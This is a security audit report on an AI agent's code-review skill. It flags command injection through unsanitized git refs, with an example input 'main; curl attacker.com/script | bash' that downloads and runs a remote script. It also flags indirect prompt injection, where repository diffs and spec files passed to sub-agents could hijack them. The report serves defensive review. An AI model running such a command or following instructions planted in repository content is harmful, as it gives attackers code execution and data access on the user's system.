code-review
Warn
Audited by Gen Agent Trust Hub on Jul 25, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill instructions direct the agent to execute shell commands using a user-supplied 'fixed-point' (e.g., branch name, commit SHA) without explicit validation or sanitization.
- Evidence: In
SKILL.md, the agent is instructed to run commands likegit rev-parse <fixed-point>,git diff <fixed-point>...HEAD, andgit log <fixed-point>..HEADusing the raw input provided by the user. - Risk: If a user provides a crafted string containing shell metacharacters (e.g.,
main; curl attacker.com/script | bash), it could lead to arbitrary command execution on the host system depending on how the agent platform handles command interpolation. - [PROMPT_INJECTION]: The skill architecture is vulnerable to indirect prompt injection because it ingests untrusted content from the repository and passes it directly to sub-agents.
- Ingestion points: The skill ingests untrusted data from the output of
git diffandgit log, as well as the contents of specification files found in repository paths likedocs/,specs/, or.scratch/. - Boundary markers: The instructions lack explicit delimiters or specific 'ignore instructions' warnings when passing this data to the
StandardsandSpecsub-agents, which increases the risk that malicious instructions in the code or spec files will be followed. - Capability inventory: The sub-agents are
general-purposemodels with the ability to analyze content, which could be leveraged to perform unauthorized actions or leak information if the sub-agent is successfully hijacked. - Sanitization: No sanitization or filtering of the diff or specification content is performed before it is interpolated into the prompts for the sub-agents.
Audit Metadata